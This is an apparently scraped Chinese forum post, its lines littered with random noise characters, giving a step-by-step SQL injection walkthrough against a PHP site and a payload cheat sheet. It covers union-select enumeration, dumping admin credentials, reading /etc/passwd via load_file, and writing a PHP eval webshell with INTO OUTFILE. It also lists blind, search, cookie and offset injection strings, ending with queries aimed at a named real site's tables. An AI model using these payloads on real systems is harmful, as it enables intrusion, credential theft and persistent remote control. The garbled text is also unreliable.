我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~% o# x/ I1 N5 W$ {) f- U
让我看看,既然人家开口了,我也不好拒绝,那就看看吧?
' u/ V# c6 y: B5 C% V我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。. h) Z& }1 w& j' o" M0 ^
如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)! y/ m I0 n% i! _$ l. d9 @- D6 r
1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)
( S' P2 p5 Y* z+ F& U& h7 G. j这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:1 l# [$ J( j- S
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in/ f1 D6 @+ l1 U5 E8 O) o
/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入
+ e I# v2 {( C3 g: Q. {. @ 6 l0 m: p9 ~" ?$ s; N+ @
2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,
: S7 m( s" c* _6 }# n( `# I. q3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意
% c" u5 O3 I6 v. ~* n4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息* m. q7 b5 z# z4 M5 r
5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。! P" @: c I4 Y$ q
有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,
) [. H6 `& p; v; G2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。2 m! F' {7 A* G) F _2 T$ c. _
我就用的是第二个思路,3 T: x, D/ a% a( Z- M
提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1--
0 T6 N6 x2 v$ |2 L6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,9 N' Y4 D, E, `) q
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--
* s$ F- P- P6 o$ E. N5 N注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。
& S- d( `+ l+ F( [7 {2 T6 X7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????3 f3 F: ~: r: |4 @6 M7 L
是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....$ }. n" A! \5 o. T0 w* {
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --8 |7 R$ @2 O' Z8 g# r% m( p
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,1 p; _- n' e) w; j6 Y/ Y
调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......4 J: q* I. K8 a4 V- [
下面是一些很普遍注入方式资料:& q6 A/ L! q; ^
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='" [, e ]$ I" P- W
拆半法: ?- y* b, Z9 x. p* a. a' f, o) ]) e
######################################3 F- t+ `% V ^) N
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。; H& v" u0 Y7 U
and exists (select * from admin)
7 E0 g. s5 ]: D! T) pand exists(select id from admin)
* b! Y6 U* _: o* M0 D. M. j: v# c' qand exists(select id from admin where id=1)+ m8 e( b+ G( d C% k
and exists(select id from admin where id>1) 8 N( r) ?* n& q8 K& ~ f+ g
然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围
& f5 p/ l6 O0 @$ Gand exists (select username from admin)
6 H b! H2 v/ [3 \. h5 Pand exists (select password from admin)
4 C" k8 D! e$ b5 j, H" ?& y. Land exists (select id from admin where len(username)<10 and id=1)7 Z: f4 D# g( [4 V$ j
and exists (select id from admin where len(username)>5 and id=1)$ i7 i* B: b. i) [6 Z* H% S
and exists (select id from admin where len(username)=6 and id=1)
4 L- _& V1 {$ z- U1 Z+ R' Uand exists (select id from admin where len(password)<10 and id=1)/ T- `1 W @$ }
and exists (select id from admin where len(password)>5 and id=1)
5 w$ N, l* |5 G* H S1 Nand exists (select id from admin where len(password)=7 and id=1)
) i6 V+ H- H" y N$ a6 \! r8 Cand (select top 1 asc(mid(username,1,1)) from admin)=97/ V" Y9 E* L( y2 Y2 \' H
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
/ K* z" t/ p; ?! K4 _6 s; A/ G0 I猜第二位把username,1,1改成username,2,1就可以了。6 E$ H# n, `! n& s
猜密码把username改成password就OK了
- p- W9 ]5 n( [0 t/ J- @##################################################3 S" ~! Z) K* |. C$ c+ |; b
搜索型注入5 Z9 x$ Z& K; h) R, F
##################################3 T/ l) [; U9 M, E- \
%' and 1=1 and '%'='" H8 v. U9 |" h- s9 m
%' and exists (select * from admin) and '%'='
% ~ T* L1 ^' m& a9 ?2 ?- h3 r%' and exists(select id from admin where id=1) and '%'='
/ l& T' I" |' [5 |+ K2 b; K%' and exists (select id from admin where len(username)<10 and id=1) and '%'='. l3 n; Z; I* D& f
%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
- e2 X5 k% e V2 _( E5 o$ s%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
$ n0 k2 B3 T% |) b5 w/ ]( L这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
" X) M& |8 B: a6 Z& O对于MSSQL数据库,后面可以吧 and '%'='换成--
, X+ Y# }0 f4 f. m, E( _还有一点搜索型注入也可以使用union语句。/ N" N0 h' d2 o! D0 Q* F
########################################################) v# _( \( g3 m8 z/ G! G, ~5 A8 e( B
联合查询。6 G( g. i+ d7 r" T' C
#####################################; U: ^+ I/ s$ Y, o$ a# Q; L) v0 l
order by 101 z( b2 j4 o: C; z% B
and 1=2 union select 1,2,3,4,5,6,7,8,9,106 r: [# l2 C. ~; B8 l! P
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
- G# A- M @0 kand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=12 y5 D9 A& h( u! F* V5 P7 _5 V" ~' Q
很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)2 B- @( ]4 w+ G8 x$ |# d* O0 X; @
###################################
% J& R z3 p E8 A, M- b8 m/ Acookie注入
& ]4 y' M) h/ e; a/ p###############################: J- c3 T. |0 ^0 {. ^
http://www.******.com/shownews.asp?id=1270 s! f" T: J. s: ]9 ?
http://www.******.com/shownews.asp
& b* K; L4 ~+ R3 kalert(="id="+escape("127"));" M) [! b* a+ Y3 ^ L$ p/ {' m2 \. U
alert(="id="+escape("127 and 1=1"));7 C& ?7 i* S% L% F- f3 U* O4 v
alert(="id="+escape("127 order by 10"));3 f& A* B3 \& D8 J3 s/ X
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
9 d0 v% |. \' f+ e, C v* Balert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));
* i* [1 t$ a6 S( H" j- p1 \这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。
; o' F% C0 s3 N+ f: ^###################################4 i% s& R5 }8 ]; ]" w. I) {
偏移注入
0 B1 S* W) S6 S B; }' }, S###########################################################( I$ R1 q( H) f
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin3 Z! y( U* _8 V2 b H
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin5 [+ c; v; Y3 {7 d" d
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)" Z. u {: b8 i9 X' Z% o3 u8 @ p0 n
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)8 z6 W7 n4 `% h2 Q/ r# A
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
! o7 d( H2 M6 O( i' m+ i. Xunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) ~$ I+ Z/ s7 e1 l( f) @+ E
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on9 q- B, g- _$ `7 F- p- _1 G
a.id=d.id)6 U B. @* \4 ]
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)
# `' N! Z% T: j# V/ E' Gand 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
* n) z0 p% H; i7 Q5 n 4 T0 h( f- r" Z! |$ l( I
============================================================================================================
3 g" g ?; n$ N) g4 |1.判断版本' C2 D0 l5 O; m) l1 @; r2 l8 s
and ord(mid(version(),1,1))>51
6 ]; q& t& z1 H* J返回正常,说明大于4.0版本,支持ounion查询, J8 ?1 J0 v. b* a: R
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解# O* K5 ]& v R
and 2=4 union select 1,2,3,4,5,6,7,8,9--' ~' n& s: ^( d2 o8 j
3.查看数据库版本及当前用户,
5 T9 m' y; G D4 Tand 2=4 union select 1,user(),version(),4,5,6,7,8,9--
$ }# j* g. Q" ? R# X7 A2 ~. L! \数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,1 f' v6 o2 C. Z! j( b E2 N7 o7 e
4.判断有没有写权限
# v( L" d7 U+ w9 u8 Band (select count(*) from MySQL.user)>0-- 9 v6 |0 f. F1 H& N! h! |6 S- { `" }
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,14 Q( d9 B g/ H7 a9 G, q
用不了这个命令,就学习土耳其黑客手法,如下
; M b, q. C8 I' ^, q1 B( Uand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
& ~; x- A2 r! @& r* [ F6.爆表,爆库
7 ~5 G4 e' _0 b4 xand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
8 z2 u$ T6 ]7 l* H9 p7.爆列名,爆表5 e, q; J" t8 H4 N0 ?5 F
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--% D9 X; U3 z' w4 P
8.查询字段数,直接用limit N,1去查询,直接N到报错为止。
# @) X8 U( a1 p* K. rand+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
* y: H5 w+ j" X3 _7 y3 D9.爆字段内容
0 M- C; V8 n2 Y. D: D# fand+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
# D3 A1 A5 D' J7 {& Y& a+ A) Y yhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1-- |